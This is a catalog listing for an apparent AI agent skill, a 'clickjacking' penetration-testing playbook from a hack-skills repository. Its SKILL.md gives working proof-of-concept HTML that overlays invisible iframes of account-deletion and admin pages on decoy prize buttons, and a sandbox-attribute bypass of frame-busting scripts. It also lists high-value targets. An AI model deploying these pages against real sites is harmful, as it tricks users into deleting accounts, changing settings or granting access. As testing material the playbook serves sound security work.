Clickjacking

Name: Clickjacking
Author: yaklang

yaklang/hack-skills

2.3k installs
1.5k repo stars
Updated June 16, 2026
yaklang/hack-skills

clickjacking is an agent skill that Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress.

About

The clickjacking skill. Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions. CORE CONCEPT Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions. PROOF OF CONCEPT TEMPLATES ### Basic Single-Click ### Multi-Step Clickjacking For actions requiring multiple clicks (e.g., "Are you sure?" confirmation): Reposition iframe for each step to align the transparent button with the decoy. BYPASS TECHNIQUES ### Frame-Busting Script Bypass Some pages use JavaScript frame-busting: **Bypass with sandbox attribute**: ### X-Frame-Options ALLOW-FROM Bypass is not supported in Chrome/Safari.

Often a "low severity" finding that becomes critical when targeting admin actions.
CORE CONCEPT Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page.
The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
If the server relies solely on , modern browsers ignore it → page is frameable.
Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancesto

Clickjacking by the numbers

2,260 all-time installs (skills.sh)
+130 installs in the week ending Aug 4, 2026 (Skillselion tracking)
Ranked #247 of 2,203 Security skills by installs in the Skillselion catalog
Security screen: CRITICAL risk (skills.sh audit)
Data as of Aug 5, 2026 (Skillselion catalog sync)

At a glance

clickjacking capabilities & compatibility

Capabilities: often a "low severity" finding that becomes crit · core concept clickjacking loads a target page in · the victim sees the attacker's ui but clicks on · if the server relies solely on , modern browsers · clickjacking playbook. use when testing whether
Use cases: security audit · testing · debugging

From the docs

What clickjacking says it does

Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities.

SKILL.md

Often a "low severity" finding that becomes critical when targeting admin actions.

SKILL.md

npx skills add https://github.com/yaklang/hack-skills --skill clickjacking

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

[![Listed on Skillselion](https://skillselion.com/badge/skills/yaklang/hack-skills/clickjacking.svg)](https://skillselion.com/skills/yaklang/hack-skills/clickjacking)

Installs	2.3k
repo stars	★ 1.5k
Security audit	1 / 3 scanners passed
Last updated	June 16, 2026
Repository	yaklang/hack-skills ↗

How do I apply clickjacking correctly using the SKILL.md workflows and reference files?

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive

Who is it for?

Developers and software engineers working with clickjacking patterns from the skill documentation.

Skip if: Skip when cached docs are empty, boilerplate-only, or outside the skill documented scope.

When should I use this skill?

What you get

Grounded clickjacking guidance with highlights, triggers, and evidence quotes from SKILL.md.

framing vulnerability findings
header audit notes
UI redress PoC outline

Files

SKILL.mdMarkdownGitHub ↗

SKILL: Clickjacking — Expert Attack Playbook

AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.

1. CORE CONCEPT

Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.

<style>
  iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
  .decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>

---

2. DETECTION — IS THE PAGE FRAMEABLE?

Check X-Frame-Options Header

X-Frame-Options: DENY           → cannot be framed (secure)
X-Frame-Options: SAMEORIGIN     → only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri → deprecated, browser support inconsistent
(header absent)                  → frameable! (vulnerable)

Check CSP frame-ancestors

Content-Security-Policy: frame-ancestors 'none'        → cannot be framed
Content-Security-Policy: frame-ancestors 'self'         → same-origin only
Content-Security-Policy: frame-ancestors https://a.com  → specific origin
(directive absent)                                       → frameable

CSP frame-ancestors supersedes X-Frame-Options in modern browsers.

Quick PoC Test

<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>

If the page loads in the iframe → frameable → potentially vulnerable.

JavaScript Frame Detection (from target page source)

// Common frame-busting code found in target pages:
if (top.location.hostname !== self.location.hostname) {
    top.location.href = self.location.href;
}

If this code is present but not using CSP frame-ancestors, it can often be bypassed.

---

3. PROOF OF CONCEPT TEMPLATES

Basic Single-Click

<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
  iframe { position: absolute; top: 300px; left: 60px;
           width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>

Multi-Step Clickjacking

For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):

<div id="step1">
  <button onclick="document.getElementById('step1').style.display='none';
                    document.getElementById('step2').style.display='block';">
    Step 1: Click here
  </button>
</div>
<div id="step2" style="display:none">
  <button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>

Reposition iframe for each step to align the transparent button with the decoy.

Drag-and-Drop Clickjacking

Extract data from one iframe to another using HTML5 drag-and-drop events — the victim drags across invisible iframes, transferring tokens or data.

---

4. BYPASS TECHNIQUES

Frame-Busting Script Bypass

Some pages use JavaScript frame-busting:

if (top !== self) { top.location = self.location; }

Bypass with sandbox attribute:

<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
<!-- sandbox without allow-top-navigation prevents frame-busting -->

X-Frame-Options ALLOW-FROM Bypass

ALLOW-FROM is not supported in Chrome/Safari. If the server relies solely on ALLOW-FROM, modern browsers ignore it → page is frameable.

Double-Framing

If X-Frame-Options: SAMEORIGIN is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.

---

5. HIGH-IMPACT TARGETS

Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration

---

6. TESTING CHECKLIST

□ Check X-Frame-Options header on sensitive pages
□ Check CSP frame-ancestors directive
□ Create iframe PoC and verify page loads
□ Test frame-busting scripts — try sandbox attribute bypass
□ Identify high-value single-click actions
□ For multi-step actions, build multi-click PoC
□ Test both authenticated and unauthenticated pages
□ Verify ALLOW-FROM behavior across browsers